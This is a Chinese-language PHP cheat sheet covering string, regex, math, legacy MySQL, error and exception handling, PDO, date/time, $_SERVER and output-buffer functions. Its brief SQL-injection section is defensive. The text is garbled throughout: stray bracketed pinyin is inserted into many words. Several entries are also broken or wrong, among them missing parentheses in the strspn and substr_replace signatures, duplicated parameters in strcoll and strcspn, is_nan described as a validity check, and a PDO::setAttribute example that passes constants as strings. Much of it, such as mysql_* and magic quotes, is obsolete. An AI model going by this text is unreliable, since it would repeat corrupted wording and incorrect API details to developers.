chr($ascii) //返回ASCII碼的字符
ord($char) //返回字符的ASCII碼
substr_count($haystack, $needle)  //計(jì)算子串出現(xiàn)的次數(shù)
count_chars($str [,$mode]) 統(tǒng)計(jì)每個(gè)字節(jié)值出現(xiàn)的次數(shù)
  //0 - 以所有的每個(gè)字節(jié)值作為鍵名,出現(xiàn)次數(shù)作為值的數(shù)組。 
  //1 - 與0相同,但只列出出現(xiàn)次數(shù)大于零的字節(jié)值。 
  //2 - 與0相同,但只列出出現(xiàn)次數(shù)等于零的字節(jié)值。 
  //3 - 返回由所有使用了的字節(jié)值組成的字符串。 
  //4 - 返回由所有未使用的字節(jié)值組成的字符串。 
crypt($str, [$salt])  //單向字符串散列
str_split($str [,$len]) //將字符串按長(zhǎng)度分割為數(shù)組
explode($separ, $str)  //使用一個(gè)字符串分割另一個(gè)字符串
implode([$glue,] $arr) //將數(shù)組元素的值根據(jù)$glue連接成字符串
chunk_split($str [,$len [,$end]])  //將字符串分割成小塊
  $len:每段字符串的長(zhǎng)度,$end:每段字符串末尾加的字符串(如"\r\n")
html_entity_decode($str [,$flags [,$encoding]]) //將HTML實(shí)體轉(zhuǎn)成字符信息
htmlentities($str [,$flags [,$encoding]])  //將字符信息轉(zhuǎn)成HTML實(shí)體
htmlspecialchars_decode($str)  //將特殊HTML實(shí)體轉(zhuǎn)成字符信息
htmlspecialchars($str [,$flags [,$encoding]])  //將字符信息轉(zhuǎn)成特殊HTML實(shí)體
lcfirst($str)  //將字符串首字母轉(zhuǎn)成小寫(xiě)
ucfirst($str)  //將字符串首字母轉(zhuǎn)成大寫(xiě)
ucwords($str)  //將字符串中每個(gè)單詞的首字母轉(zhuǎn)換為大寫(xiě)
strtolower($str)  //將字符串轉(zhuǎn)化為小寫(xiě)
strtoupper($str)  //將字符串轉(zhuǎn)化為大寫(xiě)
trim($str [,$charlist]) //去除字符串首尾處的空白字符(或者其他字符)
ltrim($str [,$charlist])  //去除字符串首段的空白字符(或者其他字符)
rtrim($str [,$charlist])  //去除字符串末端的空白字符(或者其他字符)
md5_file($file) //計(jì)算指定文件的MD5散列值
md5($str)  //計(jì)算字符串的MD5散列值
money_format($format, $num) //將數(shù)字格式化為貨幣形式
number_format($num) //格式化數(shù)字
nl2br($str) //在字符串所有新行之前插入HTML換行標(biāo)記<br />
parse_str($str, [$arr]) //解析字符串
print($str) //輸出字符串
printf   //輸出格式化字符串
sprintf($format [,$args...])  //格式化字符串
sha1_file  //計(jì)算文件的sha1散列值
sha1    //計(jì)算字符串的sha1散列值
similar_text($first, $second [,$percent])  //計(jì)算兩個(gè)字符串的相似度
  返回在兩個(gè)字符串中匹配字符的數(shù)目,$percent存儲(chǔ)相似度百分比
str_replace($search, $replace, $str [,$count [,$type]]) //子字符串替換
str_ireplace  //字符串替換(忽略大小寫(xiě))
str_pad($str, $len [,$pad [,$type]]) //使用另一個(gè)字符串填充字符串為指定長(zhǎng)度
  $type:在何處填充。STR_PAD_RIGHT,STR_PAD_LEFT 或 STR_PAD_BOTH
str_repeat($str, $num) //重復(fù)一個(gè)字符串
str_shuffle($str)  //隨機(jī)打亂一個(gè)字符串
str_word_count($str [,$format [,$charlist]])  //返回字符串中單詞的使用情況
strcasecmp($str1, $str2)  //二進(jìn)制安全比較字符串(不區(qū)分大小寫(xiě))
  如果str1小于str2,返回負(fù)數(shù);如果str1大于str2,返回正數(shù);二者相等則返回0。
strcmp($str1, $str2)  //二進(jìn)制安全字符串比較
strcoll($str1, $str1)  //基于區(qū)域設(shè)置的字符串比較(區(qū)分大小寫(xiě),非二進(jìn)制安全)
strcspn($str1, $str1 [,$start [,$len]])  //獲取不匹配遮罩的起始子字符串的長(zhǎng)度
strip_tags($str)  //從字符串中去除HTML和PHP標(biāo)記
strpos($haystack, $needle [,$offset])  //查找字符串首次出現(xiàn)的位置
stripos($haystack, $needle [,$offset])  //查找字符串首次出現(xiàn)的位置(不區(qū)分大小寫(xiě))
strripos($haystack, $needle [,$offset])  //計(jì)算指定字符串在目標(biāo)字符串中最后一次出現(xiàn)的位置(不區(qū)分大小寫(xiě))
strrpos($haystack, $needle [,$offset])  //計(jì)算指定字符串在目標(biāo)字符串中最后一次出現(xiàn)的位置
strlen($str)  //獲取字符串長(zhǎng)度
strpbrk($haystack, $str)  //在字符串中查找一組字符的任何一個(gè)字符
strrev($str)  //反轉(zhuǎn)字符串
  join('', array_reverse(preg_split("//u", $str))); //實(shí)現(xiàn)對(duì)UTF-8字符串的反轉(zhuǎn)
strspn$subject, $mask) //計(jì)算字符串中全部字符都存在于指定字符集合中的第一段子串的長(zhǎng)度。
strstr($haystack, $needle)  //查找字符串的首次出現(xiàn)
stristr($haystack, $needle)  //查找字符串的首次出現(xiàn)(不區(qū)分大小寫(xiě))
strrchr($haystack, $needle) //查找指定字符在字符串中的最后一次出現(xiàn)
strtok($str, $token)  //標(biāo)記分割字符串
substr_compare($main_str, $str, $offset [,$len) //二進(jìn)制安全比較字符串(從偏移位置比較指定長(zhǎng)度)
substr_replace$str, $replace, $start [,$len]  //替換字符串的子串
strtr($str, $from, $to) //轉(zhuǎn)換指定字符
substr($str, $start [,$len])  //返回字符串的子串
vfprintf$handle, $format, $args)  //將格式化字符串寫(xiě)入流
vprintf($format, $args) //輸出格式化字符串
vsprintf($format, $args) //返回格式化字符串
wordwrap($str [,$width=75 [,$break='\n']]) //打斷字符串為指定數(shù)量的字串

crc32($str) //計(jì)算一個(gè)字符串的crc32多項(xiàng)式
  crc32算法[循環(huán)冗余校驗(yàn)算法]
  生成str的32位循環(huán)冗余校驗(yàn)碼多項(xiàng)式。將數(shù)據(jù)轉(zhuǎn)換成整數(shù)。

/* mbstring(多字節(jié)字符串) */
//需開(kāi)啟mbstring擴(kuò)展
mb_strimwidth($str, $start, $width [,$trim [,$encoding]])  //保留指定的子串(并補(bǔ)充)
mb_stripos($str, $needle [,$offset [,$encoding]])  //查找子串首次出現(xiàn)的位置(忽略大小寫(xiě))
mb_strpos($str, $needle [,$offset [,$encoding]])  //查找子串首次出現(xiàn)的位置
mb_strripos($str, $needle [,$offset [,$encoding]])  //查找子串最后一次出現(xiàn)的位置(忽略大小寫(xiě))
mb_strrpos($str, $needle [,$offset [,$encoding]])  //查找子串最后一次出現(xiàn)的位置
mb_strstr($str, $needle [,$before [,$encoding]])  //返回子串首次出現(xiàn)位置之后(前)的字符串
mb_stristr($str, $needle [,$before [,$encoding]])  //返回子串首次出現(xiàn)位置之后(前)的字符串(忽略大小寫(xiě))
mb_strrchr($str, $needle [,$before [,$encoding]])  //返回字符最后一次出現(xiàn)位置之后(前)的字符串
mb_strrichr($str, $needle [,$before [,$encoding]])  //返回字符最后一次出現(xiàn)位置之后(前)的字符串(忽略大小寫(xiě))

mb_strtoupper($str [,$encoding])  //轉(zhuǎn)換成大寫(xiě)
mb_strtolower($str [,$encoding])  //轉(zhuǎn)換成小寫(xiě)

mb_strlen($str [,$encoding])  //獲取字符串長(zhǎng)度
mb_split($pattern, $str [,$limit]) //將字符串分割成數(shù)組
mb_substr($str, $start [,$len [,$encoding]])  //獲取字符串的子串
mb_strcut($str, $start [,$len [,$encoding]])  //獲取字符串的子串
mb_strwidth($str [,$encoding]) //獲取字符串的寬度
mb_substr_count($str, $needle [,$encoding]) //子串在字符串中出現(xiàn)的次數(shù)


/* PCRE函數(shù) */
preg_filter($pattern, $replace, $subject [,$limit [,&$count]]) 執(zhí)行一個(gè)正則表達(dá)式搜索和替換
preg_replace($pattern, $replace, $subject [,$limit [,&$count]]) 執(zhí)行一個(gè)正則表達(dá)式搜索和替換
preg_replace_callback($pattern, $callback, $subject [,$limit [,&$count]])  執(zhí)行一個(gè)正則表達(dá)式搜索并且使用一個(gè)回調(diào)進(jìn)行替換
preg_grep($pattern, $input [,$flags])  返回匹配模式的數(shù)組條目
preg_match($pattern, $subject [,&$matches [,$flags [,$offset]]]) 執(zhí)行一個(gè)正則表達(dá)式匹配
preg_match_all($pattern, $subject [,&$matches [,$flags [,$offset]]]) 執(zhí)行一個(gè)全局正則表達(dá)式匹配
  $matches存放返回的結(jié)果
    $matches[0][n] (n>=0) 表示存放第n+1個(gè)匹配到的結(jié)果
    $matches[m][n] (m>=1, n>=0) 表示存放第n+1個(gè)匹配到結(jié)果的第m個(gè)表達(dá)式的內(nèi)容
preg_split($pattern, $subject [,$limit [,$flags]]) 通過(guò)一個(gè)正則表達(dá)式分隔字符串
  $limit表示限制分隔得到的子串最多只有l(wèi)imit個(gè),-1表示不限制
  $flags參數(shù):
    PREG_SPLIT_NO_EMPTY:將返回分隔后的非空部分
    PREG_SPLIT_DELIM_CAPTURE:用于分隔的模式中的括號(hào)表達(dá)式將被捕獲并返回
    PREG_SPLIT_OFFSET_CAPTURE:對(duì)于每一個(gè)出現(xiàn)的匹配返回時(shí)將會(huì)附加字符串偏移量
preg_quote($str [,$delimiter]) 轉(zhuǎn)義正則表達(dá)式字符
preg_last_error()  返回最后一個(gè)PCRE正則執(zhí)行產(chǎn)生的錯(cuò)誤代碼


/* Math函數(shù) */
base_convert($number, $frombase, $tobase)  //在任意進(jìn)制之間轉(zhuǎn)換數(shù)字
ceil($float)  //向上取整
floor($float)  //向下取整
exp($float) //計(jì)算e的指數(shù)
hypot($x, $y)  //計(jì)算直角三角形的斜邊長(zhǎng)
is_nan($val)  //判斷是否為合法數(shù)值
log($arg [,$base=e]) //自然對(duì)數(shù)
max($num1, $num2, ...) //找出最大值
  max($arr)  //找出數(shù)組中的最大值
min($num1, $num2, ...) //找出最小值
rand([$min], $max) //產(chǎn)生一個(gè)隨機(jī)整數(shù)
srand([$seed]) //播下隨機(jī)數(shù)發(fā)生器種子
mt_rand([$min], $max)  //生成更好的隨機(jī)數(shù)
mt_srand($seed)   //播下一個(gè)更好的隨機(jī)數(shù)發(fā)生器種子
pi()  //得到圓周率值
pow($base, $exp)  //指數(shù)表達(dá)式
sqrt($float)  //求平方根
deg2rad($float) //將角度轉(zhuǎn)換為弧度
rad2deg($float) //將弧度數(shù)轉(zhuǎn)換為相應(yīng)的角度數(shù)
round($val [,$pre=0]) //對(duì)浮點(diǎn)數(shù)進(jìn)行四舍五入
fmod($x, $y) //返回除法的浮點(diǎn)數(shù)余數(shù)



/* 【MySQL函數(shù)】 */
mysql_client_encoding([$link]) //返回字符集的名稱(chēng)
mysql_set_charset($charset [,$link])  //設(shè)置客戶端字符集編碼
mysql_connect($host, $user, $pass) //打開(kāi)一個(gè)到MySQL服務(wù)器的連接
mysql_create_db($db [,$link])  //新建一個(gè)MySQL數(shù)據(jù)庫(kù)
mysql_pconnect($host, $user, $pass) //打開(kāi)一個(gè)到MySQL服務(wù)器的持久連接
mysql_ping([$link]) //Ping一個(gè)服務(wù)器連接,如果沒(méi)有連接則重新連接
mysql_close([$link])  //關(guān)閉MySQL連接

mysql_data_seek($result, $row) //移動(dòng)內(nèi)部結(jié)果的指針
mysql_errno([$link])  //返回上一個(gè)MySQL操作中的錯(cuò)誤信息的數(shù)字編碼
mysql_error([$link])  //返回上一個(gè)MySQL操作產(chǎn)生的文本錯(cuò)誤信息
mysql_affected_rows([$link]) //取得前一次MySQL操作所影響的記錄行數(shù)
mysql_info([$link]) //取得最近一條查詢的信息
mysql_insert_id([$link])  //取得上一步INSERT操作產(chǎn)生的ID

mysql_query($sql [,$link]) //發(fā)送一條MySQL查詢
mysql_unbuffered_query($sql [,$link])  //向MySQL發(fā)送一條SQL查詢,并不獲取和緩存結(jié)果的行
mysql_db_query($db, $sql [,$link]) //發(fā)送一條MySQL查詢

mysql_escape_string($str)  //轉(zhuǎn)義一個(gè)字符串用于mysql_query
mysql_real_escape_string($str) //轉(zhuǎn)義SQL語(yǔ)句中使用的字符串中的特殊字符,并考慮到連接的當(dāng)前字符集

mysql_fetch_array($result [,$type]) //從結(jié)果集中取得一行作為關(guān)聯(lián)數(shù)組,或數(shù)字?jǐn)?shù)組,或二者兼有
mysql_fetch_assoc($result) //從結(jié)果集中取得一行作為關(guān)聯(lián)數(shù)組
mysql_fetch_object($result) //從結(jié)果集中取得一行作為對(duì)象
mysql_fetch_row($result)  //從結(jié)果集中取得一行作為枚舉數(shù)組
mysql_fetch_field($result) //從結(jié)果集中取得列信息并作為對(duì)象返回
mysql_num_fields($result)  //取得結(jié)果集中字段的數(shù)目
mysql_num_rows($result) //取得結(jié)果集中行的數(shù)目

mysql_fetch_lengths($result)  //取得結(jié)果集中每個(gè)輸出的長(zhǎng)度
mysql_field_flags($result, $field_offset)  //從結(jié)果中取得和指定字段關(guān)聯(lián)的標(biāo)志
mysql_field_len($result, $field_offset)  //返回指定字段的長(zhǎng)度
mysql_field_name($result, $field_offset)  //取得結(jié)果中指定字段的字段名
mysql_field_seek($result, $field_offset)  //將結(jié)果集中的指針設(shè)定為制定的字段偏移量
mysql_field_table($result, $field_offset)  //取得指定字段所在的表名
mysql_field_type($result, $field_offset)  //取得結(jié)果集中指定字段的類(lèi)型
mysql_free_result($result) //釋放結(jié)果內(nèi)存

mysql_list_dbs([$link]) //列出MySQL服務(wù)器中所有的數(shù)據(jù)庫(kù)
mysql_list_fields($db, $table [,$link]) //列出MySQL結(jié)果中的字段
mysql_list_processes([$link])  //列出MySQL進(jìn)程
mysql_list_tables($db [,$link]) //列出MySQL數(shù)據(jù)庫(kù)中的表

mysql_result($result, $row [$field])  //取得結(jié)果數(shù)據(jù)
mysql_select_db($db [,$link])  //選擇MySQL數(shù)據(jù)庫(kù)
mysql_tablename($result, $i)  //取得表名
mysql_db_name($result, $row [,$field]) //取得mysql_list_dbs()調(diào)用所返回的數(shù)據(jù)庫(kù)名

mysql_stat([$link]) //取得當(dāng)前系統(tǒng)狀態(tài)
mysql_thread_id([$link])  //返回當(dāng)前線程的ID
mysql_get_client_info() //取得MySQL客戶端信息
mysql_get_host_info()  //取得MySQL主機(jī)信息
mysql_get_proto_info() //取得MySQL協(xié)議信息
mysql_get_server_info() //取得MySQL服務(wù)器信息


/* 【SQL注入】 */
特殊字符導(dǎo)致的問(wèn)題:
  1. 轉(zhuǎn)義:mysql_real_escape_string()
    對(duì)外來(lái)數(shù)據(jù)(GPC: GET, POST, COOKIE)進(jìn)行轉(zhuǎn)義
  2. 先查詢當(dāng)前記錄行,再匹配用戶名

//魔術(shù)引號(hào)機(jī)制
自動(dòng)為所有提交到服務(wù)器的數(shù)據(jù)增加特殊符號(hào)的轉(zhuǎn)義。
當(dāng)打開(kāi)時(shí),所有的單引號(hào),雙引號(hào),反斜線和NULL字符都會(huì)被自動(dòng)加上一個(gè)反斜線進(jìn)行轉(zhuǎn)義。這和addslashes()作用完全相同。
php.ini配置:
  magic_quotes_gpc = Off
get_magic_quotes_gpc() 獲取當(dāng)前魔術(shù)引號(hào)機(jī)制的配置信息

/* 【錯(cuò)誤處理】 */
解析錯(cuò)誤、運(yùn)行錯(cuò)誤
//標(biāo)準(zhǔn)錯(cuò)誤:
  級(jí)別、信息、文件、行號(hào)
  trigger_error  觸發(fā)一個(gè)用戶自定義的error/warning/notice錯(cuò)誤信息

//php.ini配置,ini_set()
error_reporting     設(shè)置報(bào)告哪些級(jí)別的錯(cuò)誤
# 錯(cuò)誤報(bào)告:顯示到頁(yè)面
  display_errors = On 是否顯示錯(cuò)誤報(bào)告
# 錯(cuò)誤日志:存放到文件
  log_errors = on   是否開(kāi)啟錯(cuò)誤日志
  error_log      發(fā)送錯(cuò)誤信息到錯(cuò)誤日志文件
- 錯(cuò)誤報(bào)告和錯(cuò)誤日志可同時(shí)啟用!

自定義錯(cuò)誤處理器
set_error_handler — 注冊(cè)自定義錯(cuò)誤處理器函數(shù)
- 自定義處理器函數(shù)包含4個(gè)參數(shù),分別是級(jí)別、信息、文件、行號(hào)
- 開(kāi)啟自定義錯(cuò)誤處理器,則系統(tǒng)內(nèi)置的錯(cuò)誤報(bào)告和錯(cuò)誤日志則不會(huì)執(zhí)行。
- 自定義錯(cuò)誤處理器函數(shù)返回false,則自定義函數(shù)結(jié)束后系統(tǒng)內(nèi)置的會(huì)繼續(xù)執(zhí)行。
- 用戶定義的錯(cuò)誤級(jí)別(E_USER_ERROR),可以被自定義的錯(cuò)誤處理器所捕獲并繼續(xù)執(zhí)行。系統(tǒng)內(nèi)置的錯(cuò)誤,則腳本會(huì)立即停止。
restore_error_handler — 恢復(fù)預(yù)定義錯(cuò)誤處理器函數(shù)
error_get_last — 獲取最近的錯(cuò)誤信息

//錯(cuò)誤處理函數(shù)
debug_backtrace 產(chǎn)生一條回溯跟蹤
  返回?cái)?shù)組,包含的鍵值:function, line, file, class, object, type, args
debug_print_backtrace 打印一條回溯

//錯(cuò)誤常量
手冊(cè)>錯(cuò)誤處理

#生產(chǎn)模式
關(guān)閉錯(cuò)誤報(bào)告,記錄錯(cuò)誤日志。
#開(kāi)發(fā)模式
關(guān)閉錯(cuò)誤日志,開(kāi)啟錯(cuò)誤報(bào)告。

//異常
面向?qū)ο笳Z(yǔ)法中的錯(cuò)誤處理方式。
一個(gè)異常就是一個(gè)包含當(dāng)前異常信息的對(duì)象。
預(yù)定義異常類(lèi)Exception及其擴(kuò)展類(lèi)。
#拋出異常
觸發(fā)一個(gè)異常的錯(cuò)誤
throw new UserException();
如果沒(méi)有被捕獲,則報(bào)告致命錯(cuò)誤。
#監(jiān)視異常
try {代碼段}
#捕獲異常
catch (UserException $obj) {代碼段}
需要通過(guò)當(dāng)前異常的類(lèi)型匹配才可悲捕獲。
#異常處理器
用以處理未被捕獲的異常。
異常處理器函數(shù)與catch類(lèi)似,參數(shù)也是含類(lèi)型的對(duì)象。
set_exception_handler — 注冊(cè)異常處理器函數(shù)
restore_exception_handler — 恢復(fù)預(yù)定義的異常處理器函數(shù)


#自定義異常
用戶定義的異常類(lèi)須繼承自Exception類(lèi)。

//異常相關(guān)屬性
protected string $message 異常消息內(nèi)容
protected int $code 異常代碼
protected string $file 拋出異常的文件名
protected int $line 拋出異常在該文件中的行號(hào)
//異常相關(guān)方法
Exception::__construct — 異常構(gòu)造函數(shù)
Exception::getMessage — 獲取異常消息內(nèi)容
Exception::getPrevious — 返回異常鏈中的前一個(gè)異常
Exception::getCode — 獲取異常代碼
Exception::getFile — 獲取發(fā)生異常的程序文件名稱(chēng)
Exception::getLine — 獲取發(fā)生異常的代碼在文件中的行號(hào)
Exception::getTrace — 獲取異常追蹤信息
Exception::getTraceAsString — 獲取字符串類(lèi)型的異常追蹤信息
Exception::__toString — 將異常對(duì)象轉(zhuǎn)換為字符串
Exception::__clone — 異??寺?

/* 【數(shù)據(jù)庫(kù)抽象層】 */
PDO:PHP Data Objects
PHO抽象層默認(rèn)被加載,但需加載相應(yīng)數(shù)據(jù)庫(kù)的驅(qū)動(dòng)。
PDO是OOP語(yǔ)法,提供三個(gè)類(lèi):
PDO:PDO自身
PDOStatement:PDO語(yǔ)句類(lèi),提供對(duì)語(yǔ)句的后續(xù)處理
PDOException:PDO異常類(lèi),提供對(duì)錯(cuò)誤的異常處理

//連接數(shù)據(jù)庫(kù)
PDO::__construct(str $dsn [,str $username [,str $password [,arr $driver_options]]])
DSN:Data Source Name,數(shù)據(jù)源
$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3306';
//執(zhí)行沒(méi)有返回結(jié)果的SQL語(yǔ)句
int PDO::exec(str $statement)  //返回影響的記錄數(shù)
//執(zhí)行有返回結(jié)果集的SQL語(yǔ)句
PDOStatement PDO::query (string $statement) //返回PDOStatement對(duì)象
//處理結(jié)果集(PDOStatement對(duì)象)
array PDOStatement::fetchAll([int $fetch_style [,mixed $fetch_argument [,array $ctor_args = array()]]])  //默認(rèn)返回關(guān)聯(lián)+索引數(shù)組
mixed PDOStatement::fetch ([ int $fetch_style [, int $cursor_orientation = PDO::FETCH_ORI_NEXT [, int $cursor_offset = 0 ]]] ) //返回一行
string PDOStatement::fetchColumn ([ int $column_number = 0 ] ) //返回一列
//釋放資源
unset($pdo) 或 $pdo = null

//錯(cuò)誤報(bào)告
靜默模式:silent mode,出現(xiàn)錯(cuò)誤,不主動(dòng)報(bào)告錯(cuò)誤(默認(rèn))
array PDO::errorInfo(void)
警告模式:warning mode,出現(xiàn)錯(cuò)誤,觸發(fā)一個(gè)警告級(jí)別的錯(cuò)誤
異常錯(cuò)誤:exception mode,出現(xiàn)錯(cuò)誤,拋出異常
bool PDO::setAttribute(int $attribute, mixed $value)  //設(shè)置PDO類(lèi)屬性值
PDO::setAttribute('PDO::ATTR_ERRMODE', 'PDO::ERRMODE_SILENT | PDO::ERRMODE_WARNING | PDO::ERRMODE_EXCEPTION')

//預(yù)處理式執(zhí)行SQL
可對(duì)數(shù)據(jù)自動(dòng)轉(zhuǎn)義,可有效抵制SQL注入。
PDOStatement PDO::prepare(string $statement [,array $driver_options=array()])
bool PDOStatement::bindParam ( mixed $parameter , mixed &$variable [, int $data_type = PDO::PARAM_STR [, int $length [, mixed $driver_options ]]] )
bool PDOStatement::execute ([ array $input_parameters ] )


/* 【AR模式】 */
表 -> 類(lèi)
字段 -> 類(lèi)屬性
數(shù)據(jù) -> 對(duì)象


/* Date/Time */
date($format [,$timestamp]) //格式化一個(gè)本地時(shí)間/日期,$timestamp默認(rèn)為time()
  Y:4位數(shù)字完整表示的年份
  m:數(shù)字表示的月份,有前導(dǎo)零
  d:月份中的第幾天,有前導(dǎo)零的2位數(shù)字
  j:月份中的第幾天,沒(méi)有前導(dǎo)零
  H:小時(shí),24小時(shí)格式,有前導(dǎo)零
  h:小時(shí),12小時(shí)格式,有前導(dǎo)零
  i:有前導(dǎo)零的分鐘數(shù)
  s:秒數(shù),有前導(dǎo)零
  L:是否為閏年,如果是閏年為1,否則為0
  M:三個(gè)字母縮寫(xiě)表示的月份,Jan到Dec
  W:年份中的第幾周,每周從星期一開(kāi)始
  z:年份中的第幾天
  N:數(shù)字表示的星期中的第幾天
  w:星期中的第幾天,數(shù)字表示
  e:時(shí)區(qū)標(biāo)識(shí)
  T:本機(jī)所在的時(shí)區(qū)
  U:從Unix紀(jì)元開(kāi)始至今的秒數(shù)(時(shí)間戳)
time() //返回當(dāng)前的Unix時(shí)間戳(秒)
microtime([$get_as_float]) //返回當(dāng)前Unix時(shí)間戳和微秒數(shù)
  $get_as_float參數(shù)存在并且其值等價(jià)于TRUE,將返回一個(gè)浮點(diǎn)數(shù)
strtotime($time [,$now]) //將任何英文文本的日期時(shí)間描述解析為Unix時(shí)間戳
  date("Y-m-d H:i:s", strtotime("-1 day")); //格式化前一天的時(shí)間戳
  "now"
  "10 September 2000"
  "+1 week"
  "+1 week -2 days 4 hours 2 seconds"
  "last Monday"
  "next Thursday"
gmdate($format [,$timestamp]) //格式化一個(gè)GMT/UTC 日期/時(shí)間
mktime([$hour = date("H") [,$minute = date("i") [,$second = date("s") [,$month = date("n") [,$day = date("j") [,$year = date("Y") [,$is_dst = -1]]]]]]]) //取得一個(gè)日期的Unix時(shí)間戳
strftime($format [,$timestamp]) //根據(jù)區(qū)域設(shè)置格式化本地時(shí)間/日期
date_default_timezone_get($timezone) //獲取默認(rèn)時(shí)區(qū)
date_default_timezone_set($timezone) //設(shè)置默認(rèn)時(shí)區(qū)


/* DateTime */
//date()函數(shù)能處理有效時(shí)間戳范圍是格林威治時(shí)間 1901 年 12 月 13 日 20:45:54 到 2038 年 1 月 19 日 03:14:07(因?yàn)?2位系統(tǒng)能最大正整數(shù)限制)
DateTime::__construct([$time="now"]) //構(gòu)造方法
  $time若是時(shí)間戳,則在時(shí)間戳前加@符號(hào),如'@2345678'
DateTime::setTimezone($timezone) //設(shè)置時(shí)區(qū)
  eg: $date->setTimezone(new DateTimeZone('PRC'));
DateTime::format($format) //格式化時(shí)間戳,格式化字符串形式同date()函數(shù)


/* $_SERVER */
//示例URL:http://desktop/dir/demo.php?a=aaa&b=bbb
PHP_SELF 當(dāng)前執(zhí)行腳本的文件名 // /dir/demo.php
GATEWAY_INTERFACE 服務(wù)器使用的CGI規(guī)范的版本 // CGI/1.1
SERVER_ADDR 當(dāng)前運(yùn)行腳本所在的服務(wù)器的IP地址 // 127.0.0.1
SERVER_NAME 當(dāng)前運(yùn)行腳本所在的服務(wù)器的主機(jī)名 // desktop
SERVER_SOFTWARE 服務(wù)器標(biāo)識(shí)字符串 // Apache/2.2.22 (Win32) PHP/5.3.13
SERVER_PROTOCOL 請(qǐng)求頁(yè)面時(shí)通信協(xié)議的名稱(chēng)和版本 // HTTP/1.1
REQUEST_METHOD 訪問(wèn)頁(yè)面使用的請(qǐng)求方式 // GET
REQUEST_TIME 請(qǐng)求開(kāi)始時(shí)的時(shí)間戳 // 1386032633
QUERY_STRING 查詢字符串(參數(shù)) // a=aaa&b=bbb
DOCUMENT_ROOT 當(dāng)前運(yùn)行腳本所在的文檔根目錄 // C:/Users/Administrator/Desktop
HTTP_ACCEPT 當(dāng)前請(qǐng)求頭中Accept:項(xiàng)的內(nèi)容 // text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET 當(dāng)前請(qǐng)求頭中Accept-Charset:項(xiàng)的內(nèi)容 // UTF-8,*
HTTP_ACCEPT_ENCODING 當(dāng)前請(qǐng)求頭中Accept-Encoding:項(xiàng)的內(nèi)容 // gzip, deflate
HTTP_ACCEPT_LANGUAGE 當(dāng)前請(qǐng)求頭中Accept-Language:項(xiàng)的內(nèi)容 // zh-cn,zh;q=0.5
HTTP_CONNECTION 當(dāng)前請(qǐng)求頭中Connection:項(xiàng)的內(nèi)容 // keep-alive
HTTP_HOST 當(dāng)前請(qǐng)求頭中Host:項(xiàng)的內(nèi)容 // desktop
HTTP_REFERER 引導(dǎo)用戶代理到當(dāng)前頁(yè)的前一頁(yè)的地址
HTTP_USER_AGENT 當(dāng)前請(qǐng)求頭中User-Agent:項(xiàng)的內(nèi)容 // Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
HTTPS 如果腳本是通過(guò)HTTPS協(xié)議被訪問(wèn),則被設(shè)為一個(gè)非空的值
REMOTE_ADDR 瀏覽當(dāng)前頁(yè)面的用戶的IP地址 // 127.0.0.1
REMOTE_HOST 瀏覽當(dāng)前頁(yè)面的用戶的主機(jī)名
REMOTE_PORT 用戶機(jī)器上連接到Web服務(wù)器所使用的端口號(hào) // 49197
REMOTE_USER 經(jīng)驗(yàn)證的用戶
REDIRECT_REMOTE_USER 驗(yàn)證的用戶,如果請(qǐng)求已在內(nèi)部重定向
SCRIPT_FILENAME 當(dāng)前執(zhí)行腳本的絕對(duì)路徑 // C:/Users/Administrator/Desktop/dir/demo.php
SERVER_ADMIN 該值指明了Apache服務(wù)器配置文件中的SERVER_ADMIN參數(shù) //admin@shocker.com
SERVER_PORT Web服務(wù)器使用的端口 // 80
SERVER_SIGNATURE 包含了服務(wù)器版本和虛擬主機(jī)名的字符串
PATH_TRANSLATED 當(dāng)前腳本所在文件系統(tǒng)(非文檔根目錄)的基本路徑
SCRIPT_NAME 當(dāng)前腳本的路徑 // /dir/demo.php
REQUEST_URI URI用來(lái)指定要訪問(wèn)的頁(yè)面 // /dir/demo.php?a=aaa&b=bbb
PHP_AUTH_DIGEST 客戶端發(fā)送的“Authorization” HTTP頭內(nèi)容
PHP_AUTH_PW 用戶輸入的密碼
AUTH_TYPE 認(rèn)證的類(lèi)型
PATH_INFO 包含由客戶端提供的、跟在真實(shí)腳本名稱(chēng)之后并且在查詢語(yǔ)句(query string)之前的路徑信息
ORIG_PATH_INFO 在被PHP處理之前,“PATH_INFO”的原始版本




/* 緩存 */
1. ob緩存(輸出緩存)(需開(kāi)啟)
  php.ini設(shè)置中開(kāi)啟并設(shè)置輸出緩存大?。簅utput_buffering = 4096
  ob_start() 開(kāi)啟當(dāng)前腳本頁(yè)面的輸出緩存
  如果輸出緩存打開(kāi),則輸出的數(shù)據(jù)先放到輸出緩存(header函數(shù)前可以有輸出),否則直接放入程序緩存。
  header()函數(shù)發(fā)送的內(nèi)容直接放入程序緩存。
  開(kāi)啟輸出緩存后,輸出緩存數(shù)據(jù)會(huì)刷新到程序緩存,然后有Apache封裝成http響應(yīng)包返回給瀏覽器。
  輸出緩存:存放的數(shù)據(jù)是從開(kāi)啟輸出緩存開(kāi)始返回給瀏覽器的所有靜態(tài)頁(yè)面數(shù)據(jù)!
2. 程序緩存(內(nèi)部緩存,必須存在,不能關(guān)閉)
3. 瀏覽器緩存

/* ob緩存(輸出控制) */ Output Buffering
ob_start() //打開(kāi)一個(gè)輸出緩沖區(qū),所有的輸出信息不再直接發(fā)送到瀏覽器,而是保存在輸出緩沖區(qū)里面。
  ob_start('ob_gzhandler'); //將gz編碼的數(shù)據(jù)發(fā)送到支持壓縮頁(yè)面的瀏覽器

ob_clean();      //刪除內(nèi)部緩沖區(qū)的內(nèi)容,不關(guān)閉緩沖區(qū)(不輸出)。
ob_end_clean();    //刪除內(nèi)部緩沖區(qū)的內(nèi)容,關(guān)閉緩沖區(qū)(不輸出)。
ob_get_clean();    //返回內(nèi)部緩沖區(qū)的內(nèi)容,關(guān)閉緩沖區(qū)。相當(dāng)于執(zhí)行ob_get_contents()與ob_end_clean()
ob_flush();      //發(fā)送內(nèi)部緩沖區(qū)的內(nèi)容到瀏覽器,刪除緩沖區(qū)的內(nèi)容,不關(guān)閉緩沖區(qū)。
ob_end_flush();    //發(fā)送內(nèi)部緩沖區(qū)的內(nèi)容到瀏覽器,刪除緩沖區(qū)的內(nèi)容,關(guān)閉緩沖區(qū)。
ob_get_flush();    //返回內(nèi)部緩沖區(qū)的內(nèi)容,并關(guān)閉緩沖區(qū),再釋放緩沖區(qū)的內(nèi)容。相當(dāng)于ob_end_flush()并返回緩沖區(qū)內(nèi)容。
